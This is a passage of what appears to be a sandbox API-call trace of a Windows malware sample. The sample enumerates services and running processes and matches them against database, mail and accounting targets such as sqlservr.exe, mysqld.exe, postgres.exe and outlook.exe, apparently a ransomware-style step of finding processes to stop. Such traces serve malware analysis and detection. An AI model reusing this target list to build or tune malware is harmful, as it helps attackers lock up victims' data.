lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0214.416] lstrlenW (lpString="eventlog") returned 8 [0214.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0214.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0214.416] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0214.416] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0214.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0214.416] lstrlenW (lpString="EventSystem") returned 11 [0214.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0214.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0214.416] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0214.416] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0214.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0214.416] lstrlenW (lpString="FontCache") returned 9 [0214.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0214.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0214.416] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0214.417] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0214.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0214.417] lstrlenW (lpString="gpsvc") returned 5 [0214.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0214.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0214.417] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0214.417] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0214.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0214.417] lstrlenW (lpString="iphlpsvc") returned 8 [0214.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.417] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0214.417] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0214.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0214.417] lstrlenW (lpString="LanmanServer") returned 12 [0214.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0214.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0214.417] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0214.417] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0214.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0214.417] lstrlenW (lpString="LanmanWorkstation") returned 17 [0214.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.417] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0214.417] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0214.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0214.417] lstrlenW (lpString="lmhosts") returned 7 [0214.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0214.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0214.417] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0214.417] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0214.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0214.417] lstrlenW (lpString="MMCSS") returned 5 [0214.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0214.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0214.417] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0214.417] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0214.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0214.417] lstrlenW (lpString="MpsSvc") returned 6 [0214.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0214.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0214.418] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0214.418] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0214.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0214.418] lstrlenW (lpString="Netman") returned 6 [0214.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0214.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0214.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0214.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0214.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0214.418] lstrlenW (lpString="netprofm") returned 8 [0214.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0214.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0214.418] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0214.418] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0214.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0214.418] lstrlenW (lpString="NlaSvc") returned 6 [0214.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0214.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0214.418] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0214.418] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0214.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0214.418] lstrlenW (lpString="nsi") returned 3 [0214.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0214.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0214.418] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0214.418] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0214.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0214.418] lstrlenW (lpString="PcaSvc") returned 6 [0214.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0214.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0214.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0214.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0214.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0214.418] lstrlenW (lpString="PlugPlay") returned 8 [0214.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0214.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0214.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0214.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0214.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0214.418] lstrlenW (lpString="Power") returned 5 [0214.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0214.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0214.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0214.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0214.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0214.419] lstrlenW (lpString="ProfSvc") returned 7 [0214.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0214.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0214.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0214.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0214.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0214.419] lstrlenW (lpString="RpcEptMapper") returned 12 [0214.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.419] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0214.419] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0214.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0214.419] lstrlenW (lpString="RpcSs") returned 5 [0214.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0214.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0214.419] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0214.419] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0214.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0214.419] lstrlenW (lpString="SamSs") returned 5 [0214.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0214.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0214.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0214.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0214.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0214.419] lstrlenW (lpString="Schedule") returned 8 [0214.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0214.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0214.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0214.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0214.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0214.419] lstrlenW (lpString="SENS") returned 4 [0214.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0214.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0214.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0214.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0214.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0214.419] lstrlenW (lpString="ShellHWDetection") returned 16 [0214.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0214.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0214.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0214.419] lstrlenW (lpString="Spooler") returned 7 [0214.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0214.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0214.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0214.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0214.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0214.420] lstrlenW (lpString="sppsvc") returned 6 [0214.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0214.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0214.420] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0214.420] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0214.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0214.420] lstrlenW (lpString="SysMain") returned 7 [0214.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0214.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0214.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0214.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0214.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0214.420] lstrlenW (lpString="Themes") returned 6 [0214.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0214.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0214.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0214.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0214.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0214.420] lstrlenW (lpString="TrkWks") returned 6 [0214.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0214.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0214.420] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0214.420] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0214.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0214.420] lstrlenW (lpString="UxSms") returned 5 [0214.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0214.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0214.420] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0214.420] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0214.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0214.420] lstrlenW (lpString="VSS") returned 3 [0214.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0214.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0214.420] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0214.420] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0214.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0214.420] lstrlenW (lpString="WdiServiceHost") returned 14 [0214.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0214.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0214.420] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0214.420] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0214.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0214.421] lstrlenW (lpString="WdiSystemHost") returned 13 [0214.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0214.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0214.421] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0214.421] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0214.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0214.421] lstrlenW (lpString="WinDefend") returned 9 [0214.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0214.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0214.421] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0214.421] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0214.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0214.421] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0214.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0214.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0214.421] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0214.421] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0214.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0214.421] lstrlenW (lpString="Winmgmt") returned 7 [0214.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0214.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0214.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0214.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0214.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0214.421] lstrlenW (lpString="wscsvc") returned 6 [0214.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0214.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0214.421] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0214.421] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0214.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0214.421] lstrlenW (lpString="wuauserv") returned 8 [0214.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0214.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0214.421] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0214.421] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0214.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0214.421] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0214.423] Process32FirstW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.424] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.425] lstrlenW (lpString="System") returned 6 [0214.425] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0214.425] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0214.425] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0214.425] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0214.425] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0214.425] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0214.425] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0214.425] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.425] lstrlenW (lpString="smss.exe") returned 8 [0214.425] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0214.426] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0214.426] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.426] lstrlenW (lpString="csrss.exe") returned 9 [0214.426] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.427] lstrlenW (lpString="wininit.exe") returned 11 [0214.427] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.428] lstrlenW (lpString="csrss.exe") returned 9 [0214.428] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.438] lstrlenW (lpString="winlogon.exe") returned 12 [0214.438] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.439] lstrlenW (lpString="services.exe") returned 12 [0214.439] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.439] lstrlenW (lpString="lsass.exe") returned 9 [0214.439] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0214.440] lstrlenW (lpString="lsm.exe") returned 7 [0214.440] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.440] lstrlenW (lpString="svchost.exe") returned 11 [0214.440] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.441] lstrlenW (lpString="svchost.exe") returned 11 [0214.441] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.442] lstrlenW (lpString="svchost.exe") returned 11 [0214.442] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.442] lstrlenW (lpString="svchost.exe") returned 11 [0214.442] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.443] lstrlenW (lpString="svchost.exe") returned 11 [0214.443] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.443] lstrlenW (lpString="audiodg.exe") returned 11 [0214.443] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.444] lstrlenW (lpString="svchost.exe") returned 11 [0214.444] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.445] lstrlenW (lpString="svchost.exe") returned 11 [0214.445] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.446] lstrlenW (lpString="dwm.exe") returned 7 [0214.446] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.446] lstrlenW (lpString="explorer.exe") returned 12 [0214.446] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.447] lstrlenW (lpString="spoolsv.exe") returned 11 [0214.447] Process32NextW (in: hSnapshot=0x180, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 